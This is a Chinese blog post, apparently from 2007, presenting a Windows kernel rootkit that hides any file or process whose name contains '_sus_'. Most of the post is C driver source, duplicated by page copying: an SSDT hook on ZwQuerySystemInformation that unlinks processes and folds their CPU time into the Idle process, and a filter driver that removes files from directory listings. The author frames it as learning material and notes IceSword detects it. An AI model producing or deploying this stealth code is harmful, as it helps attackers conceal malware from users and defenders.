一个rootkit程序--隐藏文件和进程

This is SUS's rootkit. It can hide files and processes
   when their names include "_sus_".
=================================================================
Written by dklkt.  2007.9
Notice that it can't run automaticly after the computer reboot!

Usage: sushide2003 [-start]             Install and start the SUS's rootkit.
       sushide2003  -uninstall          Uninstall the rootkit.
-----------------------------------------------------------------   

直接运行,或者加参数-start运行,都是安装并开始rootkit.而加参数-uninstall则是停掉并移除rootkt.

    这个程序的功能是隐藏所有文件名中含有_sus_的文件,并且也在进程中隐藏它们.

    下面说说具体的功能实现:

    1.隐藏进程.

       隐藏进程的实现用的是SSDT钩子技术. SSDT是System Service Dispatch Table(系统服务调度表

).该表可以基于系统调用病好进行索引,以便定位函数的内存地址. 再说说windows操作系统, 有个叫

ZwQuerySystemInformation的函数, Taskmgr.exe通过该函数获取系统上的进程列表. 我们通过将

NtQuerySystemInformation函数放到SSDT中, 然后在原函数返回的结果上进行过滤,就可以达到隐藏进程

的目的.
     这个是新写的ZwQuerySystemInformation函数:
NTSTATUS NewZwQuerySystemInformation(   
            IN ULONG SystemInformationClass,   
            IN PVOID SystemInformation,   
            IN ULONG SystemInformationLength,   
            OUT PULONG ReturnLength)   
{   
  
   NTSTATUS ntStatus;   
  
   ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (   
          SystemInformationClass,   
          SystemInformation,   
          SystemInformationLength,   
          ReturnLength );   
  
   if( NT_SUCCESS(ntStatus))    
   {   
      // Asking for a file and directory listing   
      if(SystemInformationClass == 5)   
      {   
       // This is a query for the process list.   
             
         struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *) SystemInformation;   
         struct _SYSTEM_PROCESSES *prev = NULL;   
        
     while(curr)   
     {   
            //DbgPrint("Current item is %x/n", curr);   
      if (curr->ProcessName.Buffer != NULL)   
      {   
        if( wcsstr( ( wchar_t *)(curr->ProcessName.Buffer),  L"_sus_") )    //进程名中包含_sus_则隐藏   
        {   
          m_UserTime.QuadPart += curr->UserTime.QuadPart;   
          m_KernelTime.QuadPart += curr->KernelTime.QuadPart;   
  
          if(prev) // Middle or Last entry   
          {   
            if(curr->NextEntryDelta)   
              prev->NextEntryDelta += curr->NextEntryDelta;   
            else  // we are last, so make prev the  end   
              prev->NextEntryDelta = 0;   
          }   
          else  
          {   
            if(curr->NextEntryDelta)   
            {   
              // we are first in the list, so  move it forward   
              (char *)SystemInformation += curr- >NextEntryDelta;   
            }   
            else // we are the only process!   
              SystemInformation = NULL;   
          }   
        }   
      }   
      else // This is the entry for the Idle process   
      {   
         // Add the kernel and user times of _root_*    
         // processes to the Idle process.   
         curr->UserTime.QuadPart += m_UserTime.QuadPart;   
         curr->KernelTime.QuadPart += m_KernelTime.QuadPart;   
  
         // Reset the timers for next time we filter   
         m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;   
      }   
      prev = curr;   
        if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);   
        else curr = NULL;   
       }   
    }   
    else if (SystemInformationClass == 8) // Query for SystemProcessorTimes   
    {   
         struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;   
         times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;   
    }   
  
   }   
   return ntStatus;   

NTSTATUS NewZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
            IN PVOID SystemInformation,
            IN ULONG SystemInformationLength,
            OUT PULONG ReturnLength)
{

   NTSTATUS ntStatus;

   ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
          SystemInformationClass,
          SystemInformation,
          SystemInformationLength,
          ReturnLength );

   if( NT_SUCCESS(ntStatus)) 
   {
      // Asking for a file and directory listing
      if(SystemInformationClass == 5)
      {
       // This is a query for the process list.

     struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
         struct _SYSTEM_PROCESSES *prev = NULL;
     
     while(curr)
     {
            //DbgPrint("Current item is %x/n", curr);
      if (curr->ProcessName.Buffer != NULL)
      {

        if( wcsstr( ( wchar_t *)(curr->ProcessName.Buffer),L"_sus_") )    //进程名中包含_sus_则隐藏
        {
          m_UserTime.QuadPart += curr->UserTime.QuadPart;
          m_KernelTime.QuadPart += curr->KernelTime.QuadPart;

          if(prev) // Middle or Last entry
          {
            if(curr->NextEntryDelta)

              prev->NextEntryDelta += curr->NextEntryDelta;

            else  // we are last, so make prev the end
              prev->NextEntryDelta = 0;
          }
          else
          {
            if(curr->NextEntryDelta)
            {

              // we are first in the list, so move it forward

              (char *)SystemInformation += curr->NextEntryDelta;
            }
            else // we are the only process!
              SystemInformation = NULL;
          }
        }
      }
      else // This is the entry for the Idle process
      {
         // Add the kernel and user times of _root_* 
         // processes to the Idle process.
         curr->UserTime.QuadPart += m_UserTime.QuadPart;
         curr->KernelTime.QuadPart += m_KernelTime.QuadPart;

         // Reset the timers for next time we filter
         m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
      }
      prev = curr;
        if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
        else curr = NULL;
       }
    }
    else if (SystemInformationClass == 8) // Query for SystemProcessorTimes
    {

         struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
         times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
    }

   }
   return ntStatus;
}    2.隐藏文件

      本来隐藏文件也可以用钩子的,但是由于手头有MS的IFS DDK,所以干脆写成了文件过滤驱动.它直

接作用于文件系统驱动之上, 将其得到的结果修改后返回上层驱动. 因为文件过滤驱动比较复杂,因此我

这里只是简单的修改了一下DDK开发包里提供的sfilter例子.
     首先是创建一个处理IRP_MJ_DIRECTORY_CONTROL的例程FsDirectoryControlview plaincopy to clipboardprint?
//=================================================   
NTSTATUS   
FsDirectoryControl(IN PDEVICE_OBJECT DeviceObject,   
                   IN PIRP Irp)   
{   
    NTSTATUS status;   
    PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);    //当前Irp   
  
(IO_STACK_LOCATION)的参数   
//    PDEVICE_EXTENSION devExt = DeviceObject->DeviceExtension;   
  PSFILTER_DEVICE_EXTENSION  devExt = DeviceObject->DeviceExtension;   
    PFILE_BOTH_DIR_INFORMATION dirInfo = NULL;   
    KEVENT waitEvent;   
    //UNICODE_STRING path;   
  
    ASSERT(IS_MY_DEVICE_OBJECT(DeviceObject));   
  
    if (IRP_MN_QUERY_DIRECTORY != irpSp->MinorFunction)   
    {   
        goto SkipHandle;   
    }   
    if (Irp->RequestorMode == KernelMode)   
    {   
        goto SkipHandle;   
    }   
  if (KeGetCurrentIrql() != PASSIVE_LEVEL )   
  {   
    goto SkipHandle;   
  }   
  /*  
    if (FileBothDirectoryInformation != ((PQUERY_DIRECTORY)&irpSp->Parameters)->FileInformationClass)   
    {      
        goto SkipHandle;  
    }*/  
  if (irpSp ->Parameters.QueryDirectory.FileInformationClass !=FileBothDirectoryInformation)   
  {   
    goto SkipHandle;   
  }   
    //设置完成回调函数   
    KeInitializeEvent(&waitEvent, NotificationEvent, FALSE);   
    IoCopyCurrentIrpStackLocationToNext(Irp);   
    //IoSetCompletionRoutine   
  
(Irp,CompletionRoutine,context,InvokeOnSuccess,InvokeOnError,InvokeOnCancel);   
    IoSetCompletionRoutine(       
                            Irp,   
                            DirControlCompletion,        //CompletionRoutine   
                            &waitEvent,                    //context parameter   
                            TRUE,   
                            TRUE,   
                            TRUE   
                            );   
  
    status = IoCallDriver(devExt->AttachedToDeviceObject, Irp);   
    if (STATUS_PENDING == status)   
    {   
        //等待完成   
        status = KeWaitForSingleObject(&waitEvent,   
                                        Executive,   
                                        KernelMode,   
                                        FALSE,   
                                        NULL   
                                        );   
        ASSERT(STATUS_SUCCESS == status);   
    }   
    if (!NT_SUCCESS(status) ||(0 == irpSp->Parameters.QueryFile.Length))    
    {       
        IoCompleteRequest(Irp, IO_NO_INCREMENT);   
        return status;   
    }   
    //KdPrint(("Hook Directory./n"));   
    //HandleDirectory(Irp->UserBuffer,  &((PQUERY_DIRECTORY)&irpSp->Parameters)->Length);   
  HandleDirectory(Irp->UserBuffer,  &(Irp->IoStatus.Information));   
  
    IoCompleteRequest(Irp, IO_NO_INCREMENT);   
    return status;   
  
SkipHandle:   
    IoSkipCurrentIrpStackLocation(Irp);   
    return IoCallDriver(devExt->AttachedToDeviceObject, Irp);   

//=================================================
NTSTATUS  FsDirectoryControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
    NTSTATUS status;

    PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);    //当前Irp(IO_STACK_LOCATION)的参数
//    PDEVICE_EXTENSION devExt = DeviceObject->DeviceExtension;
  PSFILTER_DEVICE_EXTENSION  devExt = DeviceObject->DeviceExtension;
    PFILE_BOTH_DIR_INFORMATION dirInfo = NULL;
    KEVENT waitEvent;
    //UNICODE_STRING path;

    ASSERT(IS_MY_DEVICE_OBJECT(DeviceObject));

    if (IRP_MN_QUERY_DIRECTORY != irpSp->MinorFunction)
    {
        goto SkipHandle;
    }
    if (Irp->RequestorMode == KernelMode)
    {
        goto SkipHandle;
    }
  if (KeGetCurrentIrql() != PASSIVE_LEVEL )
  {
    goto SkipHandle;
  }
  /*

    if (FileBothDirectoryInformation != ((PQUERY_DIRECTORY)&irpSp->Parameters)->FileInformationClass) 
    {    
        goto SkipHandle;
    }*/

  if (irpSp ->Parameters.QueryDirectory.FileInformationClass !=FileBothDirectoryInformation)
  {
    goto SkipHandle;
  }
    //设置完成回调函数
    KeInitializeEvent(&waitEvent, NotificationEvent, FALSE);
    IoCopyCurrentIrpStackLocationToNext(Irp);
    //IoSetCompletionRoutine

(Irp,CompletionRoutine,context,InvokeOnSuccess,InvokeOnError,InvokeOnCancel);
    IoSetCompletionRoutine(    
                            Irp,
                            DirControlCompletion,        //CompletionRoutine
                            &waitEvent,                    //context parameter
                            TRUE,
                            TRUE,
                            TRUE
                            );

    status = IoCallDriver(devExt->AttachedToDeviceObject, Irp);
    if (STATUS_PENDING == status)
    {
        //等待完成
        status = KeWaitForSingleObject(&waitEvent,
                                        Executive,
                                        KernelMode,
                                        FALSE,
                                        NULL
                                        );
        ASSERT(STATUS_SUCCESS == status);
    }
    if (!NT_SUCCESS(status) ||(0 == irpSp->Parameters.QueryFile.Length)) 
    {    
        IoCompleteRequest(Irp, IO_NO_INCREMENT);
        return status;
    }
    //KdPrint(("Hook Directory./n"));
    //HandleDirectory(Irp->UserBuffer,  &((PQUERY_DIRECTORY)&irpSp->Parameters)->Length);
  HandleDirectory(Irp->UserBuffer,  &(Irp->IoStatus.Information));

    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return status;

SkipHandle:
    IoSkipCurrentIrpStackLocation(Irp);
    return IoCallDriver(devExt->AttachedToDeviceObject, Irp);
}然后对返回的结果进行操作:view plaincopy to clipboardprint?
//-------------------------------------------   
//隐藏文件过滤的函数   
BOOLEAN  HandleDirectory(IN OUT PFILE_BOTH_DIR_INFORMATION DirInfo, IN PULONG lpBufLenth)   
{   
  //处理目录操作   
  PFILE_BOTH_DIR_INFORMATION currentDirInfo = DirInfo;   
  PFILE_BOTH_DIR_INFORMATION lastDirInfo = NULL;   
  ULONG offset = 0;   
  ULONG position = 0;   
  ULONG newLenth = *lpBufLenth;   
//  WCHAR fileName[] = L"Test.txt";   
  do  
  {   
    offset = currentDirInfo->NextEntryOffset;   
    if( wcsstr( ( wchar_t *)currentDirInfo->FileName, L"_sus_") )    //文件中包含_sus_则隐藏   
    {   
      //Now We Will Test The FileName   
      //KdPrint(("%08x Hided File:%ws[%d]/n", currentDirInfo->FileAttributes, currentDirInfo->FileName, currentDirInfo->FileNameLength));   
      if (0 == offset)   
      {   
        //KdPrint(("l[%d][%d][%d][%d]/n", newLenth, *lpBufLenth, position, newLenth-(*lpBufLenth - position)));   
        //Reset Last DirInfo NextEntryOffset To Zero!!!   
        if (lastDirInfo)   
        {   
          lastDirInfo->NextEntryOffset = 0;   
          newLenth -= *lpBufLenth - position;   
        }   
        else  
        {   
          currentDirInfo->NextEntryOffset = 0;   
          *lpBufLenth = 0;   
          return TRUE;   
        }   
      }   
      else  
      {   
        //KdPrint(("n[%d][%d][%d]/n", newLenth, *lpBufLenth,  position));   
        RtlMoveMemory(currentDirInfo, (PUCHAR)currentDirInfo +offset, *lpBufLenth - position - offset);   
        newLenth -= offset;   
        position += offset;   
      }   
    }   
    else  
    {   
      //KdPrint(("%08x Directory:%ws/n", currentDirInfo->FileAttributes,    
  
currentDirInfo->FileName));   
      //Move Next   
      position += offset;   
      lastDirInfo = currentDirInfo;   
      currentDirInfo = (PFILE_BOTH_DIR_INFORMATION)((PUCHAR)currentDirInfo + offset);   
    }   
  } while (0 != offset);   
  *lpBufLenth = newLenth;   
  return TRUE;   
}   
//-------------------------------   
//完成例程   
NTSTATUS   
DirControlCompletion(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context)   
{   
  PKEVENT event = Context;   
  
    UNREFERENCED_PARAMETER( DeviceObject );   
    UNREFERENCED_PARAMETER( Irp );   
  
    ASSERT(IS_MY_DEVICE_OBJECT( DeviceObject ));   
  
  //if (Irp->PendingReturned) IoMarkIrpPending(Irp);   
    KeSetEvent(event, IO_NO_INCREMENT, FALSE);   
  
    return STATUS_MORE_PROCESSING_REQUIRED;    

//-------------------------------------------
//隐藏文件过滤的函数
BOOLEAN
HandleDirectory(IN OUT PFILE_BOTH_DIR_INFORMATION DirInfo, IN PULONG lpBufLenth)
{
  //处理目录操作
  PFILE_BOTH_DIR_INFORMATION currentDirInfo = DirInfo;
  PFILE_BOTH_DIR_INFORMATION lastDirInfo = NULL;
  ULONG offset = 0;
  ULONG position = 0;
  ULONG newLenth = *lpBufLenth;
//  WCHAR fileName[] = L"Test.txt";
  do
  {
    offset = currentDirInfo->NextEntryOffset;

    if( wcsstr( ( wchar_t *)currentDirInfo->FileName, L"_sus_") )    //文件中含_sus_则隐藏
    {
      //Now We Will Test The FileName

      //KdPrint(("%08x Hided File:%ws[%d]/n", currentDirInfo->FileAttributes, currentDirInfo->FileName, currentDirInfo->FileNameLength));
      if (0 == offset)
      {

        //KdPrint(("l[%d][%d][%d][%d]/n", newLenth, *lpBufLenth,position, newLenth-(*lpBufLenth - position)));
        //Reset Last DirInfo NextEntryOffset To Zero!!!
        if (lastDirInfo)
        {
          lastDirInfo->NextEntryOffset = 0;
          newLenth -= *lpBufLenth - position;
        }
        else
        {
          currentDirInfo->NextEntryOffset = 0;
          *lpBufLenth = 0;
          return TRUE;
        }
      }
      else
      {

        //KdPrint(("n[%d][%d][%d]/n", newLenth, *lpBufLenth,position));

        RtlMoveMemory(currentDirInfo, (PUCHAR)currentDirInfo +offset, *lpBufLenth - position - offset);
        newLenth -= offset;
        position += offset;
      }
    }
    else
    {

      //KdPrint(("%08x Directory:%ws/n", currentDirInfo->FileAttributes,currentDirInfo->FileName));
      //Move Next
      position += offset;
      lastDirInfo = currentDirInfo;

      currentDirInfo = (PFILE_BOTH_DIR_INFORMATION)((PUCHAR)currentDirInfo + offset);
    }
  } while (0 != offset);
  *lpBufLenth = newLenth;
  return TRUE;
}
//-------------------------------
//完成例程
NTSTATUS
DirControlCompletion(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context)
{
  PKEVENT event = Context;

    UNREFERENCED_PARAMETER( DeviceObject );
    UNREFERENCED_PARAMETER( Irp );

    ASSERT(IS_MY_DEVICE_OBJECT( DeviceObject ));

  //if (Irp->PendingReturned) IoMarkIrpPending(Irp);
    KeSetEvent(event, IO_NO_INCREMENT, FALSE);

    return STATUS_MORE_PROCESSING_REQUIRED; 
}     因为还是初学rootkit,所以以上代码并非本人原创, 特此声明. 在此也感谢下作者. 很多地方我也

是正在学习中. 目前正在看Greg Hoglund 和James Butler写的《ROOTKITS--Windows内核的安全防护》

。也给大家推荐下。另外,顺便提下,本程序中所用到的方法都可以被IceSword检测到。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值